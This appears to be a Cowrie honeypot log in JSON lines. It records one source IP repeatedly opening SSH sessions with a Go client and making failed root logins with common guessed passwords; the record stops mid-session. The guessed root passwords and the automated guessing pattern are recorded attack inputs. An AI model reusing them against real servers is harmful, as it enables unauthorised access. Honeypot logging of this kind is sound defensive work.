{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:53.823316Z","src_ip":"60.165.124.241","session":"5dd182f47627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@#$","message":"login attempt [root/1qaz2wsx!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:54.550092Z","src_ip":"60.165.124.241","session":"5dd182f47627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:55.795223Z","src_ip":"60.165.124.241","session":"5dd182f47627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38558,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7afd8591e49","protocol":"ssh","message":"New connection: 60.165.124.241:38558 (10.17.0.5:22) [session: c7afd8591e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:56.043331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:56.048213Z","src_ip":"60.165.124.241","session":"c7afd8591e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:56.293885Z","src_ip":"60.165.124.241","session":"c7afd8591e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@qq.com","message":"login attempt [root/123456@qq.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:57.036465Z","src_ip":"60.165.124.241","session":"c7afd8591e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:58.285505Z","src_ip":"60.165.124.241","session":"c7afd8591e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41316,"dst_ip":"10.17.0.5","dst_port":22,"session":"dea242bb8da3","protocol":"ssh","message":"New connection: 60.165.124.241:41316 (10.17.0.5:22) [session: dea242bb8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:58.509604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:58.516488Z","src_ip":"60.165.124.241","session":"dea242bb8da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:58.747983Z","src_ip":"60.165.124.241","session":"dea242bb8da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer@","message":"login attempt [root/1234qwer@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:59.690648Z","src_ip":"60.165.124.241","session":"dea242bb8da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:00.929388Z","src_ip":"60.165.124.241","session":"dea242bb8da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44898,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d23c0ff5dbf","protocol":"ssh","message":"New connection: 60.165.124.241:44898 (10.17.0.5:22) [session: 5d23c0ff5dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:01.180877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:01.186617Z","src_ip":"60.165.124.241","session":"5d23c0ff5dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:01.434334Z","src_ip":"60.165.124.241","session":"5d23c0ff5dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017.com.cn","message":"login attempt [root/2017.com.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:02.181255Z","src_ip":"60.165.124.241","session":"5d23c0ff5dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:03.434040Z","src_ip":"60.165.124.241","session":"5d23c0ff5dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d334b5229f14","protocol":"ssh","message":"New connection: 60.165.124.241:48142 (10.17.0.5:22) [session: d334b5229f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:03.660214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:03.665928Z","src_ip":"60.165.124.241","session":"d334b5229f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:03.921718Z","src_ip":"60.165.124.241","session":"d334b5229f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Act@1218202404","message":"login attempt [root/Act@1218202404] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:04.661581Z","src_ip":"60.165.124.241","session":"d334b5229f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:05.906589Z","src_ip":"60.165.124.241","session":"d334b5229f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51220,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb317b7368d8","protocol":"ssh","message":"New connection: 60.165.124.241:51220 (10.17.0.5:22) [session: eb317b7368d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:06.140572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:06.146133Z","src_ip":"60.165.124.241","session":"eb317b7368d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:06.384887Z","src_ip":"60.165.124.241","session":"eb317b7368d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iddqdidkfa","message":"login attempt [root/iddqdidkfa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:07.120924Z","src_ip":"60.165.124.241","session":"eb317b7368d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:08.376607Z","src_ip":"60.165.124.241","session":"eb317b7368d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54300,"dst_ip":"10.17.0.5","dst_port":22,"session":"db21ce91f305","protocol":"ssh","message":"New connection: 60.165.124.241:54300 (10.17.0.5:22) [session: db21ce91f305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:08.601581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:08.610652Z","src_ip":"60.165.124.241","session":"db21ce91f305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:08.851717Z","src_ip":"60.165.124.241","session":"db21ce91f305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:09.576503Z","src_ip":"60.165.124.241","session":"db21ce91f305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:10.833095Z","src_ip":"60.165.124.241","session":"db21ce91f305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a4e5a2d8e1","protocol":"ssh","message":"New connection: 60.165.124.241:57266 (10.17.0.5:22) [session: d3a4e5a2d8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:11.091192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:11.098155Z","src_ip":"60.165.124.241","session":"d3a4e5a2d8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:11.354733Z","src_ip":"60.165.124.241","session":"d3a4e5a2d8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123.","message":"login attempt [root/Admin123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:12.131966Z","src_ip":"60.165.124.241","session":"d3a4e5a2d8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:13.392913Z","src_ip":"60.165.124.241","session":"d3a4e5a2d8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60642,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a4ad677279f","protocol":"ssh","message":"New connection: 60.165.124.241:60642 (10.17.0.5:22) [session: 9a4ad677279f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:13.628496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:13.633407Z","src_ip":"60.165.124.241","session":"9a4ad677279f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:13.874699Z","src_ip":"60.165.124.241","session":"9a4ad677279f","protocol":"ssh"}
